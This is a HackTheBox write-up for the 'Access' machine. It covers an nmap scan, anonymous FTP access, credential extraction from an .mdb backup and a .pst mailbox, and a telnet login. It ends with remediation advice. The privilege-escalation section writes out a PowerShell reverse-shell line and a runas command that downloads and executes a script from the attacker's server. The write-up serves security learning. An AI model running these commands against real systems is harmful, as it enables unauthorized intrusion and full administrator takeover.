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Writeup - Access (HTB)
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Writeup - Access (HTB)

Writeup - Access (HTB)

This is a writeup for the Access machine from the HackTheBox site.


First, let's start with a scan of our target with the following command:

nmap -sV -T4 -Pn

Three TCP ports are discovered:

  • 21/tcp : FTP
  • 23/tcp : telnet
  • 80/tcp : HTTP web server (httpd 7.5)


In the nmap scan we find an FTP server, let's try to connect as anonymous.

There are 2 folders in which we find the following files:Access

  • backup.mdb
Before downloading the backup file with the command get backup.mdb you should use the command binary

To read the contents of the backup file I use the command mdb-tables:

In the different tables I find auth_user, interesting there could be credencial for an account.

I find an engineer account with the password access4u@security. I use this password to try to decompress the previously recovered archive.

In the archive I find a .pst. To read its contents I use the following command:

readpst Access\ Control.pst -M

Among the different mails I find the following content:

A new password ! I try to connect to the telnet server with these credencials.

I now have a shell as security and I can get the first flag.

Privilege escalation

After a few minutes of exploration, I find a file on the Desktop of the Public user. In this file I find an interesting command! A runas with the user Administrator.

I will use this script to create a reverse shell Admin. So I get this file and I add the following line at the end of the file.

Invoke-PowerShellTcp -Reverse -IPAddress -Port 1234

I then launch a web server on my machine.

python3 -m http.server 80

Then I download/run the script with the admin runas.

runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('')"

I now have a reverse shell as Administrator!

So I can get the last flag back.


To patch this host I think it would be necessary to perform a number of actions:

  • Do not let the anonymous user enable in FTP server configuration
  • Do not store sensitive information in a folder accessible by several people via FTP/web/...
  • Do not give runas Administrator permission to a user

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